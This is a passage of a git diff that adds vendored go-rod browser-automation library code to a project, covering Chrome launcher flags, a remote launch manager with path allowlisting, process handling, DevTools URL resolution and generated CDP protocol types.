flag, has +} + +// Append values to the flag. +func (l *Launcher) Append(name flags.Flag, values ...string) *Launcher { + flags, has := l.GetFlags(name) + if !has { + flags = []string{} + } + return l.Set(name, append(flags, values...)...) +} + +// Delete a flag. +func (l *Launcher) Delete(name flags.Flag) *Launcher { + delete(l.Flags, name.NormalizeFlag()) + return l +} + +// Bin of the browser binary path to launch, if the path is not empty the auto download will be disabled. +func (l *Launcher) Bin(path string) *Launcher { + return l.Set(flags.Bin, path) +} + +// Revision of the browser to auto download. +func (l *Launcher) Revision(rev int) *Launcher { + l.browser.Revision = rev + return l +} + +// Headless switch. Whether to run browser in headless mode. A mode without visible UI. +func (l *Launcher) Headless(enable bool) *Launcher { + if enable { + return l.Set(flags.Headless) + } + return l.Delete(flags.Headless) +} + +// HeadlessNew switch is the "--headless=new" switch: https://developer.chrome.com/docs/chromium/new-headless +func (l *Launcher) HeadlessNew(enable bool) *Launcher { + if enable { + return l.Set(flags.Headless, "new") + } + return l.Delete(flags.Headless) +} + +// NoSandbox switch. Whether to run browser in no-sandbox mode. +// Linux users may face "running as root without --no-sandbox is not supported" in some Linux/Chrome combinations. +// This function helps switch mode easily. +// Be aware disabling sandbox is not trivial. Use at your own risk. +// Related doc: https://bugs.chromium.org/p/chromium/issues/detail?id=638180 +func (l *Launcher) NoSandbox(enable bool) *Launcher { + if enable { + return l.Set(flags.NoSandbox) + } + return l.Delete(flags.NoSandbox) +} + +// XVFB enables to run browser in by XVFB. Useful when you want to run headful mode on linux. +func (l *Launcher) XVFB(args ...string) *Launcher { + return l.Set(flags.XVFB, args...) +} + +// Preferences set chromium user preferences, such as set the default search engine or disable the pdf viewer. +// The pref is a json string, the doc is here +// https://src.chromium.org/viewvc/chrome/trunk/src/chrome/common/pref_names.cc +func (l *Launcher) Preferences(pref string) *Launcher { + return l.Set(flags.Preferences, pref) +} + +// AlwaysOpenPDFExternally switch. +// It will set chromium user preferences to enable the always_open_pdf_externally option. +func (l *Launcher) AlwaysOpenPDFExternally() *Launcher { + return l.Set(flags.Preferences, `{"plugins":{"always_open_pdf_externally": true}}`) +} + +// Leakless switch. If enabled, the browser will be force killed after the Go process exits. +// The doc of leakless: https://github.com/ysmood/leakless. +func (l *Launcher) Leakless(enable bool) *Launcher { + if enable { + return l.Set(flags.Leakless) + } + return l.Delete(flags.Leakless) +} + +// Devtools switch to auto open devtools for each tab. +func (l *Launcher) Devtools(autoOpenForTabs bool) *Launcher { + if autoOpenForTabs { + return l.Set("auto-open-devtools-for-tabs") + } + return l.Delete("auto-open-devtools-for-tabs") +} + +// IgnoreCerts configure the Chrome's ignore-certificate-errors-spki-list argument with the public keys. +func (l *Launcher) IgnoreCerts(pks []crypto.PublicKey) error { + spkis := make([]string, 0, len(pks)) + + for _, pk := range pks { + spki, err := certSPKI(pk) + if err != nil { + return fmt.Errorf("certSPKI: %w", err) + } + spkis = append(spkis, string(spki)) + } + + l.Set("ignore-certificate-errors-spki-list", spkis...) + + return nil +} + +// UserDataDir is where the browser will look for all of its state, such as cookie and cache. +// When set to empty, browser will use current OS home dir. +// Related doc: https://chromium.googlesource.com/chromium/src/+/master/docs/user_data_dir.md +func (l *Launcher) UserDataDir(dir string) *Launcher { + if dir == "" { + l.Delete(flags.UserDataDir) + } else { + l.Set(flags.UserDataDir, dir) + } + return l +} + +// ProfileDir is the browser profile the browser will use. +// When set to empty, the profile 'Default' is used. +// Related article: https://superuser.com/a/377195 +func (l *Launcher) ProfileDir(dir string) *Launcher { + if dir == "" { + l.Delete(flags.ProfileDir) + } else { + l.Set(flags.ProfileDir, dir) + } + return l +} + +// RemoteDebuggingPort to launch the browser. Zero for a random port. Zero is the default value. +// If it's not zero and the Launcher.Leakless is disabled, the launcher will try to reconnect to it first, +// if the reconnection fails it will launch a new browser. +func (l *Launcher) RemoteDebuggingPort(port int) *Launcher { + return l.Set(flags.RemoteDebuggingPort, fmt.Sprintf("%d", port)) +} + +// Proxy for the browser. +func (l *Launcher) Proxy(host string) *Launcher { + return l.Set(flags.ProxyServer, host) +} + +// WorkingDir to launch the browser process. +func (l *Launcher) WorkingDir(path string) *Launcher { + return l.Set(flags.WorkingDir, path) +} + +// Env to launch the browser process. The default value is [os.Environ](). +// Usually you use it to set the timezone env. Such as: +// +// Env(append(os.Environ(), "TZ=Asia/Tokyo")...) +func (l *Launcher) Env(env ...string) *Launcher { + return l.Set(flags.Env, env...) +} + +// StartURL to launch. +func (l *Launcher) StartURL(u string) *Launcher { + return l.Set("", u) +} + +// FormatArgs returns the formatted arg list for cli. +func (l *Launcher) FormatArgs() []string { + execArgs := []string{} + for k, v := range l.Flags { + if k == flags.Arguments { + continue + } + + if strings.HasPrefix(string(k), "rod-") { + continue + } + + // fix a bug of chrome, if path is not absolute chrome will hang + if k == flags.UserDataDir { + abs, err := filepath.Abs(v[0]) + utils.E(err) + v[0] = abs + } + + str := "--" + string(k) + if v != nil { + str += "=" + strings.Join(v, ",") + } + execArgs = append(execArgs, str) + } + + execArgs = append(execArgs, l.Flags[flags.Arguments]...) + sort.Strings(execArgs) + return execArgs +} + +// Logger to handle stdout and stderr from browser. +// For example, pipe all browser output to stdout: +// +// launcher.New().Logger(os.Stdout) +func (l *Launcher) Logger(w io.Writer) *Launcher { + l.logger = w + return l +} + +// MustLaunch is similar to Launch. +func (l *Launcher) MustLaunch() string { + u, err := l.Launch() + utils.E(err) + return u +} + +// Launch a standalone temp browser instance and returns the debug url. +// bin and profileDir are optional, set them to empty to use the default values. +// If you want to reuse sessions, such as cookies, set the [Launcher.UserDataDir] to the same location. +// +// Please note launcher can only be used once. +func (l *Launcher) Launch() (string, error) { + if l.hasLaunched() { + return "", ErrAlreadyLaunched + } + + defer l.ctxCancel() + + bin, err := l.getBin() + if err != nil { + return "", err + } + + l.setupUserPreferences() + + var ll *leakless.Launcher + var cmd *exec.Cmd + + args := l.FormatArgs() + + if l.Has(flags.Leakless) && leakless.Support() { + ll = leakless.New() + cmd = ll.Command(bin, args...) + } else { + port := l.Get(flags.RemoteDebuggingPort) + u, err := ResolveURL(port) + if err == nil { + return u, nil + } + cmd = exec.Command(bin, args...) + } + + l.setupCmd(cmd) + + err = cmd.Start() + if err != nil { + return "", err + } + + if ll == nil { + l.pid = cmd.Process.Pid + } else { + l.pid = <-ll.Pid() + if ll.Err() != "" { + return "", errors.New(ll.Err()) + } + } + + go func() { + _ = cmd.Wait() + close(l.exit) + }() + + u, err := l.getURL() + if err != nil { + l.Kill() + return "", err + } + + return ResolveURL(u) +} + +func (l *Launcher) hasLaunched() bool { + return !atomic.CompareAndSwapInt32(&l.isLaunched, 0, 1) +} + +func (l *Launcher) setupUserPreferences() { + userDir := l.Get(flags.UserDataDir) + pref := l.Get(flags.Preferences) + + if userDir == "" || pref == "" { + return + } + + userDir, err := filepath.Abs(userDir) + utils.E(err) + + profile := l.Get(flags.ProfileDir) + if profile == "" { + profile = "Default" + } + + path := filepath.Join(userDir, profile, "Preferences") + + utils.E(utils.OutputFile(path, pref)) +} + +func (l *Launcher) setupCmd(cmd *exec.Cmd) { + l.osSetupCmd(cmd) + + dir := l.Get(flags.WorkingDir) + env, _ := l.GetFlags(flags.Env) + cmd.Dir = dir + cmd.Env = env + + cmd.Stdout = io.MultiWriter(l.logger, l.parser) + cmd.Stderr = io.MultiWriter(l.logger, l.parser) +} + +func (l *Launcher) getBin() (string, error) { + bin := l.Get(flags.Bin) + if bin == "" { + l.browser.Context = l.ctx + return l.browser.Get() + } + return bin, nil +} + +func (l *Launcher) getURL() (u string, err error) { + select { + case <-l.ctx.Done(): + err = l.ctx.Err() + case u = <-l.parser.URL: + case <-l.exit: + err = l.parser.Err() + } + return +} + +// PID returns the browser process pid. +func (l *Launcher) PID() int { + return l.pid +} + +// Kill the browser process. +func (l *Launcher) Kill() { + // TODO: If kill too fast, the browser's children processes may not be ready. + // Browser don't have an API to tell if the children processes are ready. + utils.Sleep(1) + + if l.PID() == 0 { // avoid killing the current process + return + } + + killGroup(l.PID()) + p, err := os.FindProcess(l.PID()) + if err == nil { + _ = p.Kill() + } +} + +// Cleanup wait until the Browser exits and remove [flags.UserDataDir]. +func (l *Launcher) Cleanup() { + <-l.exit + + dir := l.Get(flags.UserDataDir) + _ = os.RemoveAll(dir) +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/manager.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/manager.go new file mode 100644 index 0000000..1fbc7da --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/manager.go @@ -0,0 +1,211 @@ +package launcher + +import ( + "encoding/json" + "fmt" + "net/http" + "net/http/httputil" + "net/url" + "os" + "strings" + + "github.com/go-rod/rod/lib/cdp" + "github.com/go-rod/rod/lib/launcher/flags" + "github.com/go-rod/rod/lib/utils" +) + +const ( + // HeaderName for remote launch. + HeaderName = "Rod-Launcher" +) + +// MustNewManaged is similar to NewManaged. +func MustNewManaged(serviceURL string) *Launcher { + l, err := NewManaged(serviceURL) + utils.E(err) + + // TODO: remove this after we have a better way to handle this + // The latest chromium in docker will crash pages that use http2 + l.Set("disable-http2") + + return l +} + +// NewManaged creates a default Launcher instance from launcher.Manager. +// The serviceURL must point to a launcher.Manager. It will send a http request to the serviceURL +// to get the default settings of the Launcher instance. For example if the launcher.Manager running on a +// Linux machine will return different default settings from the one on Mac. +// If Launcher.Leakless is enabled, the remote browser will be killed after the websocket is closed. +func NewManaged(serviceURL string) (*Launcher, error) { + if serviceURL == "" { + serviceURL = "ws://127.0.0.1:7317" + } + + u, err := url.Parse(serviceURL) + if err != nil { + return nil, err + } + + l := New() + l.managed = true + l.serviceURL = toWS(*u).String() + l.Flags = nil + + res, err := http.Get(toHTTP(*u).String()) //nolint: noctx + if err != nil { + return nil, err + } + defer func() { _ = res.Body.Close() }() + + return l, json.NewDecoder(res.Body).Decode(l) +} + +// KeepUserDataDir after remote browser is closed. By default launcher.FlagUserDataDir will be removed. +func (l *Launcher) KeepUserDataDir() *Launcher { + l.mustManaged() + l.Set(flags.KeepUserDataDir) + return l +} + +// JSON serialization. +func (l *Launcher) JSON() []byte { + return utils.MustToJSONBytes(l) +} + +// MustClient similar to Launcher.Client. +func (l *Launcher) MustClient() *cdp.Client { + u, h := l.ClientHeader() + return cdp.MustStartWithURL(l.ctx, u, h) +} + +// Client for launching browser remotely via the launcher.Manager. +func (l *Launcher) Client() (*cdp.Client, error) { + u, h := l.ClientHeader() + return cdp.StartWithURL(l.ctx, u, h) +} + +// ClientHeader for launching browser remotely via the launcher.Manager. +func (l *Launcher) ClientHeader() (string, http.Header) { + l.mustManaged() + header := http.Header{} + header.Add(string(HeaderName), utils.MustToJSON(l)) + return l.serviceURL, header +} + +func (l *Launcher) mustManaged() { + if !l.managed { + panic("Must be used with launcher.NewManaged") + } +} + +var _ http.Handler = &Manager{} + +// Manager is used to launch browsers via http server on another machine. +// The reason why we have Manager is after we launcher a browser, we can't dynamically change its +// CLI arguments, such as "--headless". The Manager allows us to decide what CLI arguments to +// pass to the browser when launch it remotely. +// The work flow looks like: +// +// | Machine X | Machine Y | +// | NewManaged("a.com") -|-> http.ListenAndServe("a.com", launcher.NewManager()) --> launch browser | +// +// 1. X send a http request to Y, Y respond default Launcher settings based the OS of Y. +// 2. X start a websocket connect to Y with the Launcher settings +// 3. Y launches a browser with the Launcher settings X +// 4. Y transparently proxy the websocket connect between X and the launched browser +type Manager struct { + // Logger for key events + Logger utils.Logger + + // Defaults should return the default Launcher settings + Defaults func(http.ResponseWriter, *http.Request) *Launcher + + // BeforeLaunch hook is called right before the launching with the Launcher instance that will be used + // to launch the browser. + // Such as use it to filter malicious values of Launcher.UserDataDir, Launcher.Bin, or Launcher.WorkingDir. + BeforeLaunch func(*Launcher, http.ResponseWriter, *http.Request) +} + +// NewManager instance. +func NewManager() *Manager { + allowedPath := map[flags.Flag]string{ + flags.Bin: DefaultBrowserDir, + flags.WorkingDir: func() string { + p, _ := os.Getwd() + return p + }(), + flags.UserDataDir: DefaultUserDataDirPrefix, + } + + return &Manager{ + Logger: utils.LoggerQuiet, + Defaults: func(_ http.ResponseWriter, _ *http.Request) *Launcher { return New() }, + BeforeLaunch: func(l *Launcher, w http.ResponseWriter, _ *http.Request) { + for f, allowed := range allowedPath { + p := l.Get(f) + if p != "" && !strings.HasPrefix(p, allowed) { + b := []byte(fmt.Sprintf("[rod-manager] not allowed %s path: %s (use --allow-all to disable the protection)", f, p)) + w.Header().Add("Content-Length", fmt.Sprintf("%d", len(b))) + w.WriteHeader(http.StatusBadRequest) + utils.E(w.Write(b)) + w.(http.Flusher).Flush() //nolint: forcetypeassert + panic(http.ErrAbortHandler) + } + } + }, + } +} + +func (m *Manager) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("Upgrade") == "websocket" { + m.launch(w, r) + return + } + + l := m.Defaults(w, r) + utils.E(w.Write(l.JSON())) +} + +func (m *Manager) launch(w http.ResponseWriter, r *http.Request) { + l := New() + + options := r.Header.Get(string(HeaderName)) + if options != "" { + l.Flags = nil + utils.E(json.Unmarshal([]byte(options), l)) + } + + m.BeforeLaunch(l, w, r) + + kill := l.Has(flags.Leakless) + + // Always enable leakless so that if the Manager process crashes + // all the managed browsers will be killed. + u := l.Leakless(true).MustLaunch() + defer m.cleanup(l, kill) + + parsedURL, err := url.Parse(u) + utils.E(err) + + m.Logger.Println("Launch", u, options) + defer m.Logger.Println("Close", u) + + parsedWS, err := url.Parse(u) + utils.E(err) + parsedURL.Path = parsedWS.Path + + httputil.NewSingleHostReverseProxy(toHTTP(*parsedURL)).ServeHTTP(w, r) +} + +func (m *Manager) cleanup(l *Launcher, kill bool) { + if kill { + l.Kill() + m.Logger.Println("Killed PID:", l.PID()) + } + + if !l.Has(flags.KeepUserDataDir) { + l.Cleanup() + dir := l.Get(flags.UserDataDir) + m.Logger.Println("Removed", dir) + } +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/os_unix.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/os_unix.go new file mode 100644 index 0000000..68f0d67 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/os_unix.go @@ -0,0 +1,26 @@ +//go:build !windows + +package launcher + +import ( + "os/exec" + "syscall" + + "github.com/go-rod/rod/lib/launcher/flags" +) + +func killGroup(pid int) { + _ = syscall.Kill(-pid, syscall.SIGKILL) +} + +func (l *Launcher) osSetupCmd(cmd *exec.Cmd) { + if flags, has := l.GetFlags(flags.XVFB); has { + var command []string + // flags must append before cmd.Args + command = append(command, flags...) + command = append(command, cmd.Args...) + + *cmd = *exec.Command("xvfb-run", command...) + } + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/os_windows.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/os_windows.go new file mode 100644 index 0000000..e7be8a6 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/os_windows.go @@ -0,0 +1,28 @@ +//go:build windows + +package launcher + +import ( + "os/exec" + "syscall" +) + +func killGroup(pid int) { + terminateProcess(pid) +} + +func (l *Launcher) osSetupCmd(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{ + CreationFlags: syscall.CREATE_NEW_PROCESS_GROUP, + } +} + +func terminateProcess(pid int) { + handle, err := syscall.OpenProcess(syscall.PROCESS_TERMINATE, true, uint32(pid)) + if err != nil { + return + } + + _ = syscall.TerminateProcess(handle, 0) + _ = syscall.CloseHandle(handle) +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/revision.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/revision.go new file mode 100644 index 0000000..d4b66b6 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/revision.go @@ -0,0 +1,9 @@ +// generated by "lib/launcher/revision" + +package launcher + +// RevisionDefault for chromium. +const RevisionDefault = 1321438 + +// RevisionPlaywright for arm linux. +const RevisionPlaywright = 1124 diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/url_parser.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/url_parser.go new file mode 100644 index 0000000..3df8dd5 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/url_parser.go @@ -0,0 +1,139 @@ +package launcher + +import ( + "context" + "errors" + "io" + "net/http" + "net/url" + "regexp" + "strings" + "sync" + + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/gson" +) + +var _ io.Writer = &URLParser{} + +// URLParser to get control url from stderr. +type URLParser struct { + URL chan string + Buffer string // buffer for the browser stdout + + lock *sync.Mutex + ctx context.Context + done bool +} + +// NewURLParser instance. +func NewURLParser() *URLParser { + return &URLParser{ + URL: make(chan string), + lock: &sync.Mutex{}, + ctx: context.Background(), + } +} + +var regWS = regexp.MustCompile(`ws://.+/`) + +// Context sets the context. +func (r *URLParser) Context(ctx context.Context) *URLParser { + r.ctx = ctx + return r +} + +// Write interface. +func (r *URLParser) Write(p []byte) (n int, err error) { + r.lock.Lock() + defer r.lock.Unlock() + + if !r.done { + r.Buffer += string(p) + + str := regWS.FindString(r.Buffer) + if str != "" { + u, err := url.Parse(strings.TrimSpace(str)) + utils.E(err) + + select { + case <-r.ctx.Done(): + case r.URL <- "http://" + u.Host: + } + + r.done = true + r.Buffer = "" + } + } + + return len(p), nil +} + +// Err returns the common error parsed from stdout and stderr. +func (r *URLParser) Err() error { + r.lock.Lock() + defer r.lock.Unlock() + + msg := "[launcher] Failed to get the debug url: " + + if strings.Contains(r.Buffer, "error while loading shared libraries") { + msg = "[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: " + } + + return errors.New(msg + r.Buffer) +} + +// MustResolveURL is similar to ResolveURL. +func MustResolveURL(u string) string { + u, err := ResolveURL(u) + utils.E(err) + return u +} + +var ( + regPort = regexp.MustCompile(`^\:?(\d+)$`) + regProtocol = regexp.MustCompile(`^\w+://`) +) + +// ResolveURL by requesting the u, it will try best to normalize the u. +// The format of u can be "9222", ":9222", "host:9222", "ws://host:9222", "wss://host:9222", +// "https://host:9222" "http://host:9222". The return string will look like: +// "ws://host:9222/devtools/browser/4371405f-84df-4ad6-9e0f-eab81f7521cc" +func ResolveURL(u string) (string, error) { + if u == "" { + u = "9222" + } + + u = strings.TrimSpace(u) + u = regPort.ReplaceAllString(u, "127.0.0.1:$1") + + if !regProtocol.MatchString(u) { + u = "http://" + u + } + + parsed, err := url.Parse(u) + if err != nil { + return "", err + } + + parsed = toHTTP(*parsed) + parsed.Path = "/json/version" + + res, err := http.Get(parsed.String()) //nolint: noctx + if err != nil { + return "", err + } + defer func() { _ = res.Body.Close() }() + + data, err := io.ReadAll(res.Body) + utils.E(err) + + wsURL := gson.New(data).Get("webSocketDebuggerUrl").Str() + + parsedWS, err := url.Parse(wsURL) + utils.E(err) + + parsedWS.Host = parsed.Host + + return parsedWS.String(), nil +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/utils.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/utils.go new file mode 100644 index 0000000..421d98a --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/utils.go @@ -0,0 +1,49 @@ +package launcher + +import ( + "crypto" + "crypto/sha256" + "crypto/x509" + "encoding/base64" + "fmt" + "net/url" + + "github.com/go-rod/rod/lib/utils" +) + +var inContainer = utils.InContainer + +func toHTTP(u url.URL) *url.URL { + newURL := u + if newURL.Scheme == "ws" { + newURL.Scheme = "http" + } else if newURL.Scheme == "wss" { + newURL.Scheme = "https" + } + return &newURL +} + +func toWS(u url.URL) *url.URL { + newURL := u + if newURL.Scheme == "http" { + newURL.Scheme = "ws" + } else if newURL.Scheme == "https" { + newURL.Scheme = "wss" + } + return &newURL +} + +// certSPKI generates the SPKI of a certificate public key +// https://blog.afoolishmanifesto.com/posts/golang-self-signed-and-pinned-certs/ +func certSPKI(pk crypto.PublicKey) ([]byte, error) { + pubDER, err := x509.MarshalPKIXPublicKey(pk) + if err != nil { + return nil, fmt.Errorf("x509.MarshalPKIXPublicKey: %w", err) + } + + sum := sha256.Sum256(pubDER) + pin := make([]byte, base64.StdEncoding.EncodedLen(len(sum))) + base64.StdEncoding.Encode(pin, sum[:]) + + return pin, nil +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/proto/README.md b/backend/vendor/github.com/go-rod/rod/lib/proto/README.md new file mode 100644 index 0000000..b1a7892 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/proto/README.md @@ -0,0 +1,7 @@ +# Overview + +A lib to encode/decode the data of the cdp protocol. + +This lib is standalone and stateless, you can use it independently. Such as use it to encode/decode JSON with other libs that can drive browsers. + +Here's an [usage example](https://github.com/go-rod/rod/blob/9e847f3bab313a1d233c0c868fe5125e2e70de70/examples_test.go#L370-L393). diff --git a/backend/vendor/github.com/go-rod/rod/lib/proto/a_interface.go b/backend/vendor/github.com/go-rod/rod/lib/proto/a_interface.go new file mode 100644 index 0000000..eb793f2 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/proto/a_interface.go @@ -0,0 +1,71 @@ +// Package proto is a lib to encode/decode the data of the cdp protocol. +package proto + +import ( + "context" + "encoding/json" + "reflect" + "strings" +) + +// Client interface to send the request. +// So that this lib doesn't handle anything has side effect. +type Client interface { + Call(ctx context.Context, sessionID, methodName string, params interface{}) (res []byte, err error) +} + +// Sessionable type has a proto.TargetSessionID for its methods. +type Sessionable interface { + GetSessionID() TargetSessionID +} + +// Contextable type has a context.Context for its methods. +type Contextable interface { + GetContext() context.Context +} + +// Request represents a cdp.Request.Method. +type Request interface { + // ProtoReq returns the cdp.Request.Method + ProtoReq() string +} + +// Event represents a cdp.Event.Params. +type Event interface { + // ProtoEvent returns the cdp.Event.Method + ProtoEvent() string +} + +// GetType from method name of this package, +// such as proto.GetType("Page.enable") will return the type of proto.PageEnable. +func GetType(methodName string) reflect.Type { + return types[methodName] +} + +// ParseMethodName to domain and name. +func ParseMethodName(method string) (domain, name string) { + arr := strings.Split(method, ".") + return arr[0], arr[1] +} + +// call method with request and response containers. +func call(method string, req, res interface{}, c Client) error { + ctx := context.Background() + if cta, ok := c.(Contextable); ok { + ctx = cta.GetContext() + } + + sessionID := "" + if tsa, ok := c.(Sessionable); ok { + sessionID = string(tsa.GetSessionID()) + } + + bin, err := c.Call(ctx, sessionID, method, req) + if err != nil { + return err + } + if res == nil { + return nil + } + return json.Unmarshal(bin, res) +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/proto/a_patch.go b/backend/vendor/github.com/go-rod/rod/lib/proto/a_patch.go new file mode 100644 index 0000000..3d5c5d5 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/proto/a_patch.go @@ -0,0 +1,180 @@ +// Patches to normalize the proto types + +package proto + +import ( + "time" +) + +// TimeSinceEpoch UTC time in seconds, counted from January 1, 1970. +// To convert a time.Time to TimeSinceEpoch, for example: +// +// proto.TimeSinceEpoch(time.Now().Unix()) +// +// For session cookie, the value should be -1. +type TimeSinceEpoch float64 + +// Time interface. +func (t TimeSinceEpoch) Time() time.Time { + return (time.Unix(0, 0)).Add( + time.Duration(t * TimeSinceEpoch(time.Second)), + ) +} + +// String interface. +func (t TimeSinceEpoch) String() string { + return t.Time().String() +} + +// MonotonicTime Monotonically increasing time in seconds since an arbitrary point in the past. +type MonotonicTime float64 + +// Duration interface. +func (t MonotonicTime) Duration() time.Duration { + return time.Duration(t * MonotonicTime(time.Second)) +} + +// String interface. +func (t MonotonicTime) String() string { + return t.Duration().String() +} + +// Point from the origin (0, 0). +type Point struct { + X float64 `json:"x"` + Y float64 `json:"y"` +} + +// NewPoint instance. +func NewPoint(x, y float64) Point { + return Point{x, y} +} + +// Add v to p and returns a new Point. +func (p Point) Add(v Point) Point { + return NewPoint(p.X+v.X, p.Y+v.Y) +} + +// Minus v from p and returns a new Point. +func (p Point) Minus(v Point) Point { + return NewPoint(p.X-v.X, p.Y-v.Y) +} + +// Scale p with s and returns a new Point. +func (p Point) Scale(s float64) Point { + return NewPoint(p.X*s, p.Y*s) +} + +// Len is the number of vertices. +func (q DOMQuad) Len() int { + return len(q) / 2 //nolint: mnd +} + +// Each point. +func (q DOMQuad) Each(fn func(pt Point, i int)) { + for i := 0; i < q.Len(); i++ { + fn(Point{q[i*2], q[i*2+1]}, i) + } +} + +// Center of the polygon. +func (q DOMQuad) Center() Point { + var x, y float64 + q.Each(func(pt Point, _ int) { + x += pt.X + y += pt.Y + }) + return Point{x / float64(q.Len()), y / float64(q.Len())} +} + +// Area of the polygon +// https://en.wikipedia.org/wiki/Polygon#Area +func (q DOMQuad) Area() float64 { + area := 0.0 + l := len(q)/2 - 1 //nolint: mnd + + for i := 0; i < l; i++ { + area += q[i*2]*q[i*2+3] - q[i*2+2]*q[i*2+1] + } + area += q[l*2]*q[1] - q[0]*q[l*2+1] + + return area / 2 //nolint: mnd +} + +// OnePointInside the shape. +func (res *DOMGetContentQuadsResult) OnePointInside() *Point { + for _, q := range res.Quads { + if q.Area() >= 1 { + pt := q.Center() + return &pt + } + } + + return nil +} + +// Box returns the smallest leveled rectangle that can cover the whole shape. +func (res *DOMGetContentQuadsResult) Box() (box *DOMRect) { + return Shape(res.Quads).Box() +} + +// Shape is a list of DOMQuad. +type Shape []DOMQuad + +// Box returns the smallest leveled rectangle that can cover the whole shape. +func (qs Shape) Box() (box *DOMRect) { + if len(qs) == 0 { + return + } + + left := qs[0][0] + top := qs[0][1] + right := left + bottom := top + + for _, q := range qs { + q.Each(func(pt Point, _ int) { + if pt.X < left { + left = pt.X + } + if pt.Y < top { + top = pt.Y + } + if pt.X > right { + right = pt.X + } + if pt.Y > bottom { + bottom = pt.Y + } + }) + } + + box = &DOMRect{left, top, right - left, bottom - top} + + return +} + +// MoveTo X and Y to x and y. +func (p *InputTouchPoint) MoveTo(x, y float64) { + p.X = x + p.Y = y +} + +// CookiesToParams converts Cookies list to NetworkCookieParam list. +func CookiesToParams(cookies []*NetworkCookie) []*NetworkCookieParam { + list := []*NetworkCookieParam{} + for _, c := range cookies { + list = append(list, &NetworkCookieParam{ + Name: c.Name, + Value: c.Value, + Domain: c.Domain, + Path: c.Path, + Secure: c.Secure, + HTTPOnly: c.HTTPOnly, + SameSite: c.SameSite, + Expires: c.Expires, + Priority: c.Priority, + }) + } + return list +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/proto/a_utils.go b/backend/vendor/github.com/go-rod/rod/lib/proto/a_utils.go new file mode 100644 index 0000000..a34867c --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/proto/a_utils.go @@ -0,0 +1,24 @@ +package proto + +import ( + "regexp" + "strings" +) + +var ( + regAsterisk = regexp.MustCompile(`([^\\])\*`) + regBackSlash = regexp.MustCompile(`([^\\])\?`) +) + +// PatternToReg FetchRequestPattern.URLPattern to regular expression. +func PatternToReg(pattern string) string { + if pattern == "" { + return "" + } + + pattern = " " + pattern + pattern = regAsterisk.ReplaceAllString(pattern, "$1.*") + pattern = regBackSlash.ReplaceAllString(pattern, "$1.") + + return `\A` + strings.TrimSpace(pattern) + `\z` +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/proto/accessibility.go b/backend/vendor/github.com/go-rod/rod/lib/proto/accessibility.go new file mode 100644 index 0000000..9a93a67 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/proto/accessibility.go @@ -0,0 +1,588 @@ +// This file is generated by "./lib/proto/generate" + +package proto + +import ( + "github.com/ysmood/gson" +) + +/* + +Accessibility + +*/ + +// AccessibilityAXNodeID Unique accessibility node identifier. +type AccessibilityAXNodeID string + +// AccessibilityAXValueType Enum of possible property types. +type AccessibilityAXValueType string + +const ( + // AccessibilityAXValueTypeBoolean enum const. + AccessibilityAXValueTypeBoolean AccessibilityAXValueType = "boolean" + + // AccessibilityAXValueTypeTristate enum const. + AccessibilityAXValueTypeTristate AccessibilityAXValueType = "tristate" + + // AccessibilityAXValueTypeBooleanOrUndefined enum const. + AccessibilityAXValueTypeBooleanOrUndefined AccessibilityAXValueType = "booleanOrUndefined" + + // AccessibilityAXValueTypeIdref enum const. + AccessibilityAXValueTypeIdref AccessibilityAXValueType = "idref" + + // AccessibilityAXValueTypeIdrefList enum const. + AccessibilityAXValueTypeIdrefList AccessibilityAXValueType = "idrefList" + + // AccessibilityAXValueTypeInteger enum const. + AccessibilityAXValueTypeInteger AccessibilityAXValueType = "integer" + + // AccessibilityAXValueTypeNode enum const. + AccessibilityAXValueTypeNode AccessibilityAXValueType = "node" + + // AccessibilityAXValueTypeNodeList enum const. + AccessibilityAXValueTypeNodeList AccessibilityAXValueType = "nodeList" + + // AccessibilityAXValueTypeNumber enum const. + AccessibilityAXValueTypeNumber AccessibilityAXValueType = "number" + + // AccessibilityAXValueTypeString enum const. + AccessibilityAXValueTypeString AccessibilityAXValueType = "string" + + // AccessibilityAXValueTypeComputedString enum const. + AccessibilityAXValueTypeComputedString AccessibilityAXValueType = "computedString" + + // AccessibilityAXValueTypeToken enum const. + AccessibilityAXValueTypeToken AccessibilityAXValueType = "token" + + // AccessibilityAXValueTypeTokenList enum const. + AccessibilityAXValueTypeTokenList AccessibilityAXValueType = "tokenList" + + // AccessibilityAXValueTypeDomRelation enum const. + AccessibilityAXValueTypeDomRelation AccessibilityAXValueType = "domRelation" + + // AccessibilityAXValueTypeRole enum const. + AccessibilityAXValueTypeRole AccessibilityAXValueType = "role" + + // AccessibilityAXValueTypeInternalRole enum const. + AccessibilityAXValueTypeInternalRole AccessibilityAXValueType = "internalRole" + + // AccessibilityAXValueTypeValueUndefined enum const. + AccessibilityAXValueTypeValueUndefined AccessibilityAXValueType = 